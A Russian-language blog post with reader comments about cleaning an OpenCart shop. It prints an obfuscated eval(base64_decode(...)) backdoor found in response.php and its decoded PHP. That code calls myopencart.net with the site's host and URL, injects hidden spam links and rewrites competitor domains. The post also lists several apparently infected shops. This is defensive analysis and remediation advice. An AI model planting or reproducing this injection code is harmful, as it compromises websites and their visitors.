Ваш магазин в безопасности? Вы уверены?

категория: , Полезности


Опубликовано: 30.05.2015 Просмотров: 6135 Комментарии: 4


Ваш магазин в безопасности? Вы уверены?

Магазин медленно стал работать, выбивает ошибки или появились скрытые ссылки на другие сайты? У вас на сайте уязвимость или вирус!


Приветствую всех владельцев интернет магазинов на базе Opencart. Взяв очередной проект на доработки в одном из заданий было указано, что сайт медленно работает, и в коде появились посторонние ссылки на сайт «myopencart.net«. Для начала, понимая проблему движка, а именно особенности его работы с большим числом товаров, я отключил систему подсчета его количества в категориях, которая работает очень медленно и практически никому не нужна. Но сайт также долго генерировал страницы, и ничего не поменялось.

График загрузки страниц в Opencart

После этого стало понятно, что дело вовсе не в подсчете товара, особенно если учитывать ссылки, которые были скрыты от пользователя, но были доступны для поисковых систем. Инспектируя исходный код страниц я увидел что перед </body></html> Была ссылка вида

<div style="position:fixed;margin-left:-1500px;"><a href="http://myopencart.net/forum/files/">модули opencart</a> бесплатно.

Даже закрывающего div нет :) Первое что я проверил — это был шаблон footer.tpl на наличие ссылки. Её там не оказалось, также поиск по всем файлам сайта ничего не дал. Значит, ссылка закодирована. Понимая структуру вывода готового html кода через файл system/library/ response.php а именно через функцию output я её и проверил, и обнаружил что в ней вместо стандартного вывода echo $ouput; прописана закодированная строка в base64:

$ouput = еvаl(basе64_decоde('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));

Конечно, мне стало интересно, что в ней происходит. Первый онлайн декодер мне выдал расшифрованную функцию get_page и других пару строк, которые как раз и делают дыру в магазине:

function get_page($url){
	$agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
	$ch=curl_init();
	curl_setopt ($ch, CURLOPT_URL,$url );
	curl_setopt($ch, CURLOPT_USERAGENT, $agent);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt ($ch,CURLOPT_VERBOSE,false);
	curl_setopt($ch, CURLOPT_TIMEOUT, 5);
	$page=curl_exec($ch);
	$httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
	curl_close($ch);
	switch($httpcode){
	case '200':
	return $page;
	break;
	case '404';
	return false;
	break;
	}
}

if ($ftend = get_page("http://myopencart.net/googlecode/api/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
	$find = array("</body>", "</html>", "opencart.com", "maxzon.ru", "myopencart.ru", "opencartforum.ru", "opencart.ru", "opencart.by");
	$replace = array("", $ftend, "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net", "myopencart.net");
	$ouput = str_replace($find, $replace, $ouput);
	ini_set("display_errors","off");
	error_reporting(0);
	echo $ouput;
	}else {
	echo $ouput;
}

Именно она формирует бекдор в магазине и прописывает ссылку на свой сайт. Для лечения сайта, замените закодированную строку на:

echo $ouput;

Или замените оригинальный файл response.php который можно скачать с официального репозитория или вытянуть с дистрибутива.

Почему все так происходит? Потому что многие люди любят халяву, то есть получить бесплатно то, что стоит денег. Вы думаете, что варезные сайты просто так дают скачать платные шаблоны, модули и другие инфопродукты бесплатно? Вы ошибаетесь! Скачав взломанный скрипт или сборку, вы делаете дыру в безопасности вашего интернет магазина. Не жалейте денег на покупку, в конце концов не так уж и много стоят скрипты, которые же будут приносить вам прибыль.

P.S. Ради интереса, я проверил сколько магазинов работают с дырами в безопасности, и оказалось что их хватает!

Количество внешних ссылок на сайт распространителя вируса

Смотрите их исходный код внизу.

http://emvil.com.ua/pnevmoinctrument
http://ventilyatory.55m.ru/potolochnye-ventiljatory/
http://dk-store.ru.xsph.ru/index.php?route=information/information&information_id=7 (стоит rel="nofollow" оригинальная такая себе защита)
http://www.360trade.ru/
http://mobmax.tmweb.ru/avto-elektronika-tehnika/videoregistratory/
http://www.globaldoors.ru/mezhkomnatnye-dveri/belorusskie-dveri/
и очень много других…

Интересная статистика. А представьте, сколько вообще вот так вот работает магазинов. Так что вывод один – следите за безопасностью ваших интернет магазинов.

Если вы не уверены что с вашим сайтом все хорошо, напишите мне, я смогу быстро глянуть и проконсультировать.


Комментарии:


Фото комментатора

Виталий 24.09.2015

Доброго времени суток. Проблема с сайтом naturalis.net.ua Яндекс показывает рост страниц просто бешенный, посмотрел - в папке вккеш появились нтмл странички левые. поменял пароль фтп. посмотрите плиз. Заранее благодарен
Администратор

Ответ for-opencart.com 24.09.2015

Правильно что поменяли,

удалите все из папок vqmod/vqcache и system/cache

Посмотрите на посторонний код файлы:

  • index.php
  • admin/index.php
  • config.php
  • admin/config.php
  • vqmod/vqmod.php
  • vqmod/pathReplaces.php

И если он есть удаляйте.

Фото комментатора

Дима 24.10.2016

Нашло посторонние ссылки ведущие на левый сайт. Надо решить проблему
Администратор

Ответ for-opencart.com 24.10.2016

Пишите на info@microdata.pro посмотрю.

Фото комментатора

ALEX 09.12.2017

добрый день помогите найти откуда идет http://www.labdi.ru/?tag=/doc_1430.php не может найти
Администратор

Ответ for-opencart.com 09.12.2017

Ничего не понятно что откуда идет и кто не может найти. Вы о чем?
Фото комментатора

Lawyer 13.01.2020

Добрый день. Вторую неделю читаю различные статьи и обзоры по поводу выбора CMS-ки для интернет-магазина. Много разных мнений. Но пришел к выводу, что мне лучше использовать ОпенКарт. Но тут "набрёл" на ваш сайт. Почитал, и понял, что Вы в этом хорошо разбираетесь. Посоветуйте, пожалуйста, у меня нет опыта в создании сайтов на CMS-ках. Но реальность такова, что для меня сейчас это актуально. У меня сайт самописный, и я "уперся" в полную зависимость от разработчика. Решил перейти на CMS. Я так понимаю, что нужно устанавливать с https://opencart.com/ и только, регулярно обновляться, не использовать сторонние модули,не указывать тип и версию CMS в HTML коде сайта. Но многие рекомендуют использовать CS Cart, так как она, типа как платная, и там следят за всеми уязвимостями. Что вы порекомендуете?
Администратор

Ответ for-opencart.com 13.01.2020

Добрый день! Верный выбор. Opencart это открытый код, он безопасный. На версии 2.3 на сколько мне известно нет уязвимостей или прочих нюансов. Рекомендую выбрать ocStore https://ocstore.com версия 2.3. Можно взять и более новую 3 версию, но там она будет сложнее в разработке, если магазин будет достаточно простым и не будете его редактировать/крутить то можете на 3 версию ставить. Но самая стабильная и простая это версия 2.3. На нее полно модулей есть. С самописа лучше уходить т.к. это подвязка под разработчика, а он может гнуть свои условия, да и найти другого спеца на его код сложно из-за неохоты разрабов разбирать чужой код. Указывать CMS и версию в коде можно и не указывать, а если и указать то ничего не будет из этого)

Быстрый поиск

Похожее

Новое на сайте